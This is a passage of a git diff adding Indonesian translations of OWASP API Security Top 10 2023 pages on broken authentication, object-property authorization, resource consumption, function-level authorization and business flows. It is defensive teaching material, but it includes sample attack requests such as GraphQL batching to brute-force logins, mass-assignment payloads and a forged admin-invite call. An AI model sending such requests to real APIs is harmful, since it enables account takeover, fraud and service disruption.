ke API. +API gagal memvalidasi bahwa VIN mewakili kendaraan yang dimiliki pengguna yang login, yang menyebabkan kerentanan BOLA. Seorang penyerang dapat mengakses kendaraan yang bukan miliknya. + +### Skenario #3 + +Layanan penyimpanan dokumen online memungkinkan pengguna untuk melihat, mengedit, menyimpan, dan menghapus dokumen mereka. Ketika dokumen pengguna dihapus, sebuah mutasi GraphQL dengan ID dokumen dikirim ke API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Karena dokumen dengan ID yang diberikan dihapus tanpa pemeriksaan izin lebih lanjut, pengguna mungkin dapat menghapus dokumen pengguna lain. + +## Cara Mencegah + +* Terapkan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di basis data. +* Sebaiknya gunakan nilai acak dan tidak terduga sebagai GUID untuk ID catatan. +* Tulis tes untuk mengevaluasi kerentanan mekanisme otorisasi. Jangan terapkan perubahan yang membuat tes gagal. + +## Referensi + +### OWASP + +* [Cheat Sheet Otorisasi][1] +* [Cheat Sheet Otomatisasi Pengujian Otorisasi][2] + +### Eksternal + +* [CWE-285: Otorisasi Tidak Tepat][3] +* [CWE-639: Otorisasi yang Dilewati Melalui Kunci yang Dikendalikan Pengguna][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/id/0xa2-broken-authentication.md b/editions/2023/id/0xa2-broken-authentication.md new file mode 100644 index 000000000..ceb2bb58b --- /dev/null +++ b/editions/2023/id/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Autentikasi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Mekanisme autentikasi adalah target yang mudah bagi penyerang karena terpapar ke semua orang. Meskipun keterampilan teknis yang lebih tinggi mungkin dibutuhkan untuk mengeksploitasi beberapa masalah autentikasi, alat eksploitasi umumnya tersedia. | Kesalahpahaman insinyur perangkat lunak dan keamanan mengenai batasan autentikasi dan kerumitan implementasi bawaan menjadikan masalah autentikasi hal yang lazim. Metodologi untuk mendeteksi autentikasi yang rusak tersedia dan mudah dibuat. | Penyerang dapat memperoleh kendali penuh atas akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka. Sistem kemungkinan besar tidak dapat membedakan tindakan penyerang dari tindakan pengguna yang sah. | + +## Apakah API Rentan? + +Endpoint dan alur autentikasi adalah aset yang perlu dilindungi. Selain itu, "Lupa kata sandi / reset kata sandi" harus diperlakukan sama dengan mekanisme autentikasi. + +Sebuah API rentan bila: + +* Mengizinkan credential stuffing ketika penyerang menggunakan brute force dengan daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail autentikasi sensitif, seperti token auth dan kata sandi di URL. +* Memungkinkan pengguna merubah alamat email mereka, kata sandi saat ini, atau melakukan operasi sensitif lainnya tanpa meminta konfirmasi kata sandi. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`{"alg":"none"}`) +* Tidak memvalidasi tanggal kadaluwarsa JWT. +* Menggunakan kata sandi teks biasa, tidak dienkripsi, atau menggunakan hash yang lemah. +* Menggunakan kunci enkripsi yang lemah. + +Selain itu, mikroservis itu rentan jika: + +* Mikroservis lain dapat mengaksesnya tanpa otentikasi +* Menggunakan token lemah atau dapat diprediksi untuk memastikan otentikasi + +## Skenario Serangan Contoh + +## Skenario #1 + +Untuk melakukan autentikasi pengguna, klien harus mengirimkan permintaan API seperti di bawah ini dengan kredensial pengguna: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Jika kredensial valid, lalu token auth akan dikembalikan yang harus diberikan dalam permintaan berikutnya untuk mengidentifikasi pengguna. Upaya login dibatasi dengan pembatasan laju yang ketat: hanya tiga permintaan yang diizinkan per menit. + +Untuk melakukan brute force login dengan akun korban, aktor jahat memanfaatkan query batching GraphQL untuk mengatasi pembatasan tingkat permintaan, mempercepat serangan: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Skenario #2 + +Untuk memperbarui alamat email yang terkait dengan akun pengguna, klien harus mengirimkan permintaan API seperti berikut ini: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Karena API tidak mengharuskan pengguna untuk mengkonfirmasi identitas mereka dengan memberikan kata sandi saat ini, aktor jahat yang mampu menempatkan diri dalam posisi untuk mencuri token auth mungkin dapat mengambil alih akun korban dengan memulai alur kerja reset kata sandi setelah memperbarui alamat email akun korban. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua alur kemungkinan untuk mengotentikasi API (mobile/web/tautan langsung yang mengimplementasikan otentikasi satu klik/dll.). Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Bacalah tentang mekanisme autentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan demikian pula kunci API. +* Jangan menciptakan ulang dalam otentikasi, pembuatan token, atau penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti endpoint login dalam hal brute force, pembatasan tingkat, dan perlindungan penguncian. +* Haruskan otentikasi ulang untuk operasi sensitif (misalnya mengubah alamat email pemilik akun/nomor telepon 2FA). +* Gunakan [Cheat Sheet Autentikasi OWASP][1]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi credential stuffing, serangan kamus, dan serangan brute force pada endpoint otentikasi Anda. Mekanisme ini harus lebih ketat dari mekanisme pembatasan tingkat biasa pada API Anda. +* Implementasikan mekanisme penguncian akun/captcha untuk mencegah serangan brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API tidak boleh digunakan untuk otentikasi pengguna. Mereka hanya boleh digunakan untuk otentikasi [klien API][2]. + +## Referensi + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Eksternal + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html + diff --git a/editions/2023/id/0xa3-broken-object-property-level-authorization.md b/editions/2023/id/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..82864b998 --- /dev/null +++ b/editions/2023/id/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| API cenderung mengekspos endpoint yang mengembalikan semua properti obyek. Hal ini khususnya berlaku untuk API REST. Untuk protokol lain seperti GraphQL, mungkin memerlukan permintaan yang dibuat untuk menentukan properti mana yang harus dikembalikan. Mengidentifikasi properti tambahan ini yang dapat dimanipulasi memerlukan lebih banyak upaya, tetapi ada beberapa alat otomatis yang tersedia untuk membantu tugas ini. | Memeriksa respons API sudah cukup untuk mengidentifikasi informasi sensitif dalam representasi obyek yang dikembalikan. Fuzzing biasanya digunakan untuk mengidentifikasi properti tambahan (tersembunyi). Apakah mereka dapat diubah adalah masalah pembuatan permintaan API dan menganalisis respons. Analisis efek samping mungkin diperlukan jika properti target tidak dikembalikan dalam respons API. | Akses tanpa otorisasi ke properti obyek privat/sensitif dapat mengakibatkan pengungkapan data, kehilangan data, atau kerusakan data. Dalam keadaan tertentu, akses tanpa otorisasi ke properti obyek dapat mengarah ke eskalasi hak istimewa atau pengambilalihan akun parsial/total. | + +## Apakah API Rentan? + +Ketika mengizinkan pengguna mengakses obyek menggunakan endpoint API, penting untuk memvalidasi bahwa pengguna memiliki akses ke properti obyek tertentu yang mereka coba akses. + +Sebuah endpoint API rentan jika: + +* Endpoint API memaparkan properti obyek yang dianggap sensitif dan tidak boleh dibaca oleh pengguna. (sebelumnya bernama: "[Paparan Data Berlebihan][1]") +* Endpoint API memungkinkan pengguna untuk mengubah, menambah/atau menghapus nilai properti obyek sensitif yang seharusnya tidak dapat diakses pengguna (sebelumnya bernama: "[Penugasan Massal][2]") + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah aplikasi kencan memungkinkan pengguna melaporkan pengguna lain karena perilaku yang tidak pantas. Sebagai bagian dari alur ini, pengguna mengklik tombol "laporkan", dan memicu panggilan API berikut: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Endpoint API rentan karena memungkinkan pengguna terotentikasi memiliki akses ke properti obyek pengguna sensitif yang dilaporkan, seperti "fullName" dan "recentLocation" yang seharusnya tidak diakses oleh pengguna lain. + +### Skenario #2 + +Sebuah platform marketplace online, yang menawarkan satu jenis pengguna ("host") untuk menyewakan apartemen mereka ke jenis pengguna lain ("tamu"), mensyaratkan host untuk menerima pemesanan yang dibuat oleh tamu, sebelum membebankan biaya kepada tamu untuk menginap. + +Sebagai bagian alur ini, sebuah panggilan API dikirim oleh host ke `POST /api/host/approve_booking` dengan payload sah berikut ini: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore" +} +``` + +Host mengirimkan ulan permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore", + "total_stay_price": "$1,000,000" +} +``` + +Endpoint API rentan karena tidak ada validasi bahwa host harus memiliki akses ke properti obyek internal - `total_stay_price`, dan tamu akan dikenakan biaya lebih dari yang seharusnya. + +### Skenario #3 + +Sebuah jejaring sosial yang didasarkan pada video pendek, menerapkan filter konten yang membatasi dan sensor yang ketat. Bahkan jika video yang diunggah diblokir, pengguna dapat mengubah deskripsi video menggunakan permintaan API berikut: + +``` +PUT /api/video/update_video + +{ + "description": "video lucu tentang kucing" +} +``` + +Pengguna yang frustrasi dapat mengirimkan ulang permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "description": "video lucu tentang kucing", + "blocked": false +} +``` + +Endpoint API rentan karena tidak ada validasi apakah pengguna seharusnya memiliki akses ke properti obyek internal - `blocked`, dan pengguna dapat mengubah nilai dari `true` ke `false` dan membuka blokir konten mereka sendiri. + +## Cara Mencegah + +* Saat memaparkan obyek menggunakan endpoint API, selalu pastikan bahwa pengguna harus memiliki akses ke properti obyek yang Anda paparkan. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti obyek tertentu yang ingin Anda kembalikan. +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat input klien ke dalam variabel kode, obyek internal, atau properti obyek ("Penugasan Massal"). +* Izinkan perubahan hanya pada properti obyek yang seharusnya diperbarui oleh klien. +* Terapkan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API. +* Pertahankan struktur data yang dikembalikan seminimal mungkin, sesuai persyaratan bisnis/fungsional untuk endpoint tersebut. + +## Referensi + +### OWASP + +* [API3:2019 Paparan Data Berlebihan - OWASP API Security Top 10 2019][1] +* [API6:2019 - Penugasan Massal - OWASP API Security Top 10 2019][2] +* [Cheat Sheet Penugasan Massal][3] + +### Eksternal + +* [CWE-213: Pengungkapan Informasi Sensitif karena Kebijakan yang Tidak Kompatibel][4] +* [CWE-915: Modifikasi Atribut Objek yang Ditentukan Secara Dinamis yang Tidak Terkendali dengan Benar][5] + +[1]: https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html + diff --git a/editions/2023/id/0xa4-unrestricted-resource-consumption.md b/editions/2023/id/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..7877e4f1e --- /dev/null +++ b/editions/2023/id/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Rata-rata** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi membutuhkan permintaan API sederhana. Beberapa permintaan serentak dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. Sebagian besar alat otomatis yang tersedia dirancang untuk menyebabkan DoS melalui beban lalu lintas tinggi, yang berdampak pada tingkat layanan API. | Umum ditemukan API yang tidak membatasi interaksi atau konsumsi sumber daya klien. Permintaan API yang dibuat, seperti yang mencakup parameter yang mengendalikan jumlah sumber daya yang akan dikembalikan dan melakukan analisis status/waktu/panjang respons seharusnya memungkinkan identifikasi masalah. Hal yang sama berlaku untuk operasi batch. Meskipun agen ancaman tidak memiliki visibilitas atas dampak biaya, ini dapat disimpulkan berdasarkan model bisnis/harga penyedia layanan (misalnya penyedia cloud). | Eksploitasi dapat menyebabkan DoS karena kekurangan sumber daya, tetapi juga dapat menyebabkan peningkatan biaya operasional seperti yang terkait dengan infrastruktur karena permintaan CPU yang lebih tinggi, peningkatan kebutuhan penyimpanan cloud, dll. | + +## Apakah API Rentan? + +Memenuhi permintaan API memerlukan sumber daya seperti bandwidth jaringan, CPU, memori, dan penyimpanan. Terkadang sumber daya yang diperlukan disediakan oleh penyedia layanan melalui integrasi API, dan dibayar berdasarkan permintaan, seperti mengirim email/SMS/panggilan telepon, validasi biometrik, dll. + +API rentan jika setidaknya salah satu batasan berikut hilang atau diatur dengan tidak tepat (misalnya terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah maksimum deskriptor file +* Jumlah proses maksimum +* Ukuran file unggah maksimum +* Jumlah operasi untuk dilakukan dalam satu permintaan klien API (misalnya penyuntingan batch GraphQL) +* Jumlah catatan per halaman untuk dikembalikan dalam satu permintaan-respons +* Batas biaya untuk layanan pihak ketiga + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah jejaring sosial mengimplementasikan alur "lupa kata sandi" menggunakan verifikasi SMS, hal ini memungkinkan pengguna menerima token sekali pakai melalui SMS untuk mereset kata sandi mereka. + +Setelah pengguna mengklik "lupa kata sandi" sebuah panggilan API dikirim dari browser pengguna ke API back-end: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Kemudian, di balik layar, panggilan API dikirim dari back-end ke API pihak ke-3 yang mengurus pengiriman SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Penyedia pihak ketiga, Willyo, membebankan $0,05 untuk setiap panggilan jenis ini. + +Seorang penyerang menulis skrip yang mengirim panggilan API pertama puluhan ribu kali. Back-end mengikuti dan meminta Willyo untuk mengirim puluhan ribu pesan teks, yang menyebabkan perusahaan kehilangan ribuan dolar dalam hitungan menit. + +### Skenario #2 + +Sebuah Endpoint API GraphQL memungkinkan pengguna mengunggah foto profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") { + url + } + }" +} +``` + +Begitu proses unggah selesai, API menghasilkan beberapa thumbnail dengan ukuran berbeda berdasarkan gambar yang diunggah. Operasi grafis ini mengambil banyak memori server. + +API mengimplementasikan perlindungan pembatasan tradisional - pengguna tidak dapat mengakses endpoint GraphQL terlalu banyak dalam jangka waktu singkat. API juga memeriksa ukuran gambar yang diunggah sebelum menghasilkan thumbnail untuk menghindari memproses gambar yang terlalu besar. + +Seorang penyerang dapat dengan mudah mengatasi mekanisme tersebut, dengan memanfaatkan sifat fleksibel GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FO IEFOR0xJVA...\") {url}}"}, +] +``` + +Karena API tidak membatasi berapa kali operasi `uploadPic` dapat dicoba, panggilan akan menyebabkan habisnya memori server dan Denial of Service. + +### Skenario #3 + +Sebuah penyedia layanan memungkinkan klien mengunduh file berukuran sebesar apa pun menggunakan API-nya. File-file ini disimpan di penyimpanan objek cloud dan jarang berubah. Penyedia layanan mengandalkan layanan cache agar memiliki tingkat layanan yang lebih baik dan menjaga konsumsi bandwidth tetap rendah. Layanan cache hanya menyimpan file hingga 15GB. + +Ketika salah satu file diperbarui, ukurannya meningkat menjadi 18GB. Semua klien layanan segera mulai menarik versi baru. Karena tidak ada peringatan biaya konsumsi, atau pengeluaran maksimum yang diizinkan untuk layanan cloud, tagihan bulanan berikutnya meningkat dari rata-rata US$13 menjadi US$8 ribu. + +## Cara Mencegah + +* Gunakan solusi yang memudahkan pembatasan [memori][1], [CPU][2], [jumlah restart][3], [deskriptor file, dan proses][4] seperti Kontainer / Serverless code (misalnya Lambda). +* Tentukan dan pastikan ukuran data maksimum pada semua parameter dan payload masukan, seperti panjang maksimum string, jumlah elemen maksimum array, dan ukuran file unggah maksimum (terlepas apakah disimpan secara lokal atau di penyimpanan cloud). +* Terapkan batas seberapa sering klien dapat berinteraksi dengan API dalam rentang waktu tertentu (pembatasan laju). +* Pembatasan laju harus diatur berdasarkan kebutuhan bisnis. Beberapa Endpoint API mungkin memerlukan kebijakan yang lebih ketat. +* Batasi/atur seberapa banyak atau seberapa sering satu klien/pengguna API dapat mengeksekusi operasi tunggal (misalnya memvalidasi OTP, atau meminta pemulihan kata sandi tanpa mengunjungi URL sekali pakai). +* Tambahkan validasi sisi server yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Konfigurasikan batas pengeluaran untuk semua penyedia layanan/integrasi API. Jika tidak memungkinkan untuk membatasi pengeluaran, sebaiknya konfigurasi peringatan tagihan. + +## Referensi + +### OWASP + +* ["Ketersediaan" - Cheat Sheet Keamanan Layanan Web][5] +* ["Pencegahan DoS" - Cheat Sheet GraphQL][6] +* ["Meredam Serangan Batching" - Cheat Sheet GraphQL][7] + +### Eksternal + +* [CWE-770: Alokasi Sumber Daya Tanpa Batasan atau Pengaturan][8] +* [CWE-400: Konsumsi Sumber Daya yang Tidak Terkendali][9] +* [CWE-799: Kontrol Interaksi Frekuensi yang Tidak Tepat][10] +* "Pembatasan Laju (Pengaturan)" - [Strategi Keamanan untuk Sistem Aplikasi Berbasis Mikroservis][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf + diff --git a/editions/2023/id/0xa5-broken-function-level-authorization.md b/editions/2023/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..04af3e505 --- /dev/null +++ b/editions/2023/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,69 @@ +# API5:2023 Otorisasi Tingkat Fungsi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi mengharuskan penyerang mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak dapat mereka akses sebagai pengguna anonim atau pengguna biasa non-istimewa. Endpoint yang terpapar akan dengan mudah dieksploitasi. | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi atau level kode. Menerapkan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan karena aplikasi modern dapat terdiri dari banyak jenis peran, grup, dan hierarki pengguna yang kompleks (misalnya sub-pengguna, atau pengguna dengan lebih dari satu peran). Lebih mudah menemukan kelemahan ini di API karena API lebih terstruktur, dan mengakses fungsi yang berbeda lebih dapat diprediksi. | Kelemahan seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini dan dapat menyebabkan pengungkapan data, kehilangan data, atau kerusakan data. Pada akhirnya, dapat menyebabkan gangguan layanan. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam tentang mekanisme otorisasi dengan tetap mempertimbangkan hierarki pengguna, peran atau grup yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak bisa diakses dengan hanya mengubah metode HTTP (misalnya dari `GET` ke `DELETE`)? +* Apakah pengguna dari grup X dapat mengakses fungsi yang seharusnya hanya dapat diakses pengguna dari grup Y, dengan hanya menebak URL endpoint dan parameternya (misalnya `/api/v1/users/export_all`)? + +Jangan mengasumsikan bahwa sebuah endpoint API adalah endpoint reguler atau administratif hanya berdasarkan jalur URL-nya. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di path relatif tertentu, seperti `/api/admins`, sangat umum menemukan endpoint administratif ini di path relatif lain bersama dengan endpoint reguler, seperti `/api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran untuk aplikasi yang hanya mengizinkan pengguna yang diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi sebuah JSON dengan detail tentang undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin. Endpoint tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah tersebut dan mengirim undangan baru dengan hak istimewa admin: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Selanjutnya, penyerang menggunakan undangan yang dibuat secara curang tersebut untuk membuat akun admin bagi dirinya sendiri dan mendapatkan akses penuh ke sistem. + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya terungkap ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan detail semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API melakukan tebakan cerdas dan berhasil mengakses endpoint ini, yang mengekspos detail sensitif para pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan seperti itu disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, dibutuhkan hak akses yang eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap kelemahan otorisasi tingkat fungsi, dengan tetap memperhatikan logika bisnis aplikasi dan hierarki grup. +* Pastikan semua pengendali administratif Anda mewarisi kendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Pemaksaan Penelusuran][1] +* "A7: Hilangnya Kendali Akses Tingkat Fungsi", [OWASP Top 10 2013][2] +* [Kontrol Akses][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..a3e19b46d --- /dev/null +++ b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,72 @@ +# API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Luas** : Terdeteksi **Rata-rata** | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi biasanya melibatkan pemahaman model bisnis yang didukung oleh API, menemukan aliran bisnis sensitif, dan mengotomatisasi akses ke aliran tersebut, yang merugikan bisnis. | Kurangnya pandangan holistik tentang API untuk sepenuhnya mendukung persyaratan bisnis cenderung berkontribusi pada prevalensi masalah ini. Penyerang secara manual mengidentifikasi sumber daya (misalnya endpoint) apa yang terlibat dalam alur kerja target dan bagaimana mereka bekerja sama. Jika mekanisme mitigasi sudah ada, penyerang perlu menemukan cara untuk melewatinya. | Secara umum, dampak teknis tidak diharapkan. Eksploitasi mungkin merugikan bisnis dengan berbagai cara, misalnya: mencegah pengguna sah membeli produk, atau menyebabkan inflasi dalam perekonomian internal sebuah game. | + +## Apakah API Rentan? + +Saat membuat Endpoint API, penting untuk memahami aliran bisnis apa yang dieksposnya. Beberapa aliran bisnis lebih sensitif daripada yang lain, dalam artian akses berlebihan ke dalamnya dapat merugikan bisnis. + +Contoh umum aliran bisnis sensitif dan risiko akses berlebihan yang terkait dengannya: + +* Aliran pembelian produk - seorang penyerang dapat membeli semua persediaan item yang sangat diminati secara sekaligus dan menjual kembali dengan harga yang lebih tinggi (penimbunan) +* Aliran membuat komentar/posting - seorang penyerang dapat men-spam sistem +* Melakukan reservasi - seorang penyerang dapat memesan semua slot waktu yang tersedia dan mencegah pengguna lain menggunakan sistem + +Risiko akses berlebihan mungkin berubah antar industri dan bisnis. Misalnya - pembuatan post oleh skrip mungkin dianggap sebagai risiko spam oleh satu jejaring sosial, tetapi didorong oleh jejaring sosial lainnya. + +Sebuah Endpoint API rentan jika mengekspos aliran bisnis sensitif, tanpa membatasi akses ke dalamnya dengan tepat. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah perusahaan teknologi mengumumkan akan merilis konsol game baru di hari Thanksgiving. Produk ini memiliki permintaan yang sangat tinggi dan persediaannya terbatas. Seorang penyerang menulis kode untuk secara otomatis membeli produk baru dan menyelesaikan transaksi. + +Pada hari rilis, penyerang menjalankan kode yang didistribusikan di berbagai alamat IP dan lokasi. API tidak menerapkan perlindungan yang tepat dan memungkinkan penyerang untuk membeli sebagian besar persediaan sebelum pengguna sah lainnya. + +Kemudian, penyerang menjual produk di platform lain dengan harga jauh lebih tinggi. + +### Skenario #2 + +Sebuah maskapai penerbangan menawarkan pembelian tiket online tanpa biaya pembatalan. Seorang pengguna dengan niat jahat memesan 90% kursi penerbangan yang diinginkan. + +Beberapa hari sebelum penerbangan pengguna jahat membatalkan semua tiket sekaligus, yang 